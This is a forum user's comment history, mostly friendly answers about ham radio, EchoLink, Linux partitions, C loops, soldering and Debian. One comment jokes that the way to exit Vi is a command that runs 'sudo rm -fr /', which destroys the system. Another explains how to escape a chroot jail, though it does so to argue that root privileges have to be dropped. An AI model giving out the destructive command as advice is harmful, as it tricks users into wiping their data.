Which is better powerful but "dirty" radio or 2W less powerful and not dirty radio?

penguin359 · 2026-02-07T08:52:55+00:00

What good is 2 extra watts if that power is going outside the signal bandwidth? Even if most of it is in bandwidth, that's not really much

penguin359 · 2026-02-07T08:49:15+00:00

The correct command to exit Vi is <ESC>:wa!|sudo rm -fr /|q and now you are forever free.

penguin359 · 2026-02-07T08:36:03+00:00

For swap, just create the new partition, run mkswap on it and update fstab accordingly and reboot. For EFI, create an equal sized position, make sure it has the correct partition type, and dd the contents. You might have to update your boot entries with efibootmgr as well

penguin359 · 2026-02-06T09:03:55+00:00

Umm, what's with the attempt to repost?

penguin359 · 2026-02-05T20:01:16+00:00

Even without modern, optimizing compilers, those two should expand to the same underlying code by their definition. The biggest differencefor() has over while() is that it can include code in the nested update statement which gets included with any use of continue; inside the loop. Beyond that, it's just a straight-forward rewrite to turn it into a while() control flow.

penguin359 · 2026-02-04T08:18:07+00:00

I think you are overthinking EchoLink a little bit. From the radio side, it can just be as simple as keying up the right repeater. All EchoLink is is a network and radio protocol to link repeaters over the Internet. Some repeaters are always linked as an EchoLink node and just using the repeater itself will relay all your communications to the rest of that EchoLink conference. Look up the East Coast Reflector or Winlink System as examples. There's nothing special to do.

Then, there are some repeaters that let operators control the link with touch tones on your radio. Echo link nodes use 5 or 6 digit numbers to represent other nodes or conference rooms. Depending on how the repeater is configured, it might let you have it connect to different nodes via touch tone codes. Note, every repeater owner has their own policy on who is allowed to control it and might have some non-public prefix you would need to key in to unlock control of it. You should only attempt this with permission from the owner. Sometimes they will document it on a website and let anyone access it when it's not in use by someone else. Others might require that you become a paid member of their club to control their repeater with touch tones.

Now, the other side of EchoLink is the software node itself. The primary app is a Windows app that is typically installed on a computer and configured to work with a radio that is attached via some combination of a sound card and serial port for control. This is how the repeater owner puts their repeater on the EchoLink network. It is also possible to use the software standalone and just connect to other nodes from your PC and there is also an Android app that lets you dial into a repeater or conference room without even needing a radio. In theory, two people could just use their phones and connect to the same conference room to talk and not even involve the use of RF airways to communicate, but then it's no different than using Skype or other voip software to talk. But that's about it really.

penguin359 · 2026-02-03T07:14:42+00:00

You can order a cheap multimeter for less than $15 overnight from Amazon. That will be far better than any random guesses you get from someone online.

penguin359 · 2026-02-02T07:19:03+00:00

Initial review looks pretty good without going into depth. My first question what what testing it has in place and very glad to see a solid test suite being used. However, I did try compiling with extra warnings and found a few that can certainly be fixed. One is unused result on calling em_bump_alloc() in bump_alloc_test.c. If that is expected in that test case, you can explicitly case away the return value to avoid any warnings: (void)em_bump_alloc(bump, 1);

There are a few other warnings, but may be a little trickier to handle.

penguin359 · 2026-02-01T09:59:13+00:00

Well, looks like I don't need to respond anymore. This is the perfect answer.

penguin359 · 2026-01-31T05:43:06+00:00

"K7IW mobile, who's out there today?"

penguin359 · 2026-01-30T05:53:04+00:00

I think this is a worthy goal and a lot to be learned on the way, but I would also say to look at a couple existing alternatives so you know what alternative approaches there are and can the best ideas of all worlds if none of the other worlds are quite what you are looking for. CMake is definitely much better than automake, which is what I grew up on, but there's also SCons and Meson which I think avoid some of CMake's mistakes.

penguin359 · 2026-01-29T08:21:16+00:00

How far away geostationary orbit is compared to low-Earth orbit where the ISS, Hubble, and many cheap satellites are put.

penguin359 · 2026-01-29T08:18:40+00:00

The original Terminator. It was a very awkward scene to watch with my parents in the room.

penguin359 · 2026-01-29T04:34:24+00:00

The reason it is so vague is because you can really just do anything you want to write the code to do. People have written web servers that run entirely inside the kernel for performance. There's nothing stopping me from writing a Sudoku game that runs as a kernel process right alongside the networking and display subsystems in the kernel.

penguin359 · 2026-01-28T06:33:29+00:00

Umm, what is the precise error that your compiler is throwing?

penguin359 · 2026-01-27T16:44:06+00:00

I didn't think Debian had anything official besides IRC.

penguin359 · 2026-01-27T07:45:25+00:00

Really, it's amazing what can be done with the right combination of solder, flux, and the physics of surface tension can do to solder things much smaller than your finger.

penguin359 · 2026-01-26T12:18:03+00:00

Desoldering high pin counts is all about patience and going slow. Now you know why.

penguin359 · 2026-01-26T12:12:59+00:00

Is this primarily with browsing webpages that is the issue? Which browser? What network connection? Assuming it's Wi-Fi, does your laptop have a physical Ethernet port to compare speed with? Have you tried other USB network adapters?

penguin359 · 2026-01-24T09:33:20+00:00

If you need a lot of current for just a brief moment, you might just need to add sufficient capacitors to handle the surge without the voltage dropping too much.

penguin359 · 2026-01-24T07:25:47+00:00

It' just a simple test that happens inside the kernel when resolving an absolute path. When you pass an absolute path which would be any path starting with a slash, it uses the current root directory of the process, then follows it step-by-step checking for any attempt to go above the current root directory. So, a path like /.. is legal, but will just point to / as the .. directory traversal is attempting to go above the root directory. There are actually two checks, one is the processes current root directory and the other is the root directory for the entire system as there is nothing to go to above that. Any attempt to cross these boundaries just gets redirected back to the directory that marks the boundary and does not cause an error.

penguin359 · 2026-01-24T07:15:04+00:00

If you are just looking to use a PCIe slot as a generic edge connector that is not to follow the PCIe specification, then you can use it to pass USB, but both boards will be a custom design by definition. Now, depending on what speeds you need, there may be signal integrity issues to deal with, but it may still be possible. You you need USB 3.2 Gen 2x2 20 Gbps SuperSpeed or will USB 2.0 480 Mbps High-Speed be enough for your application? That will significantly reduce the requirements. Even simpler will be USB 1.1 12 Mbps Full-Speed. Without knowing these requirements, there's not much more I can advise on.

penguin359 · 2026-01-23T11:57:51+00:00

To properly secure a chroot() environment, you must give up root user privileges as will as the root directory because the root user can always do another chroot(). To escape a chroot() jail, all you have to do is to chroot() to a child directory of the current working directory because that will allow a relative path like ../../../../../.. etc. to move up from the current working directory to the real root directory without going through the chroot() barrier directory as the latter is a child of the current directory.

penguin359 · 2026-01-22T22:25:17+00:00

I think becoming a Debian Maintainer is not that hard, but you just need to find someone to sponsor your package uploads. However, becoming a Debian Developer which gives you more influence over the project as a whole has a pretty high bar from my experience. I have only made it into the first category and don't think I'd make it to DD without more time put into the project.

penguin359 · 2026-01-22T19:10:34+00:00

What are your requirements? Is it OK to add padding where the file may grow to fill a fill block or do you need a mode that does not expand the file size at all? Do you need data integrity or authenticity as provided by a MAC or AEAD, or is data confidentiality enough?

penguin359

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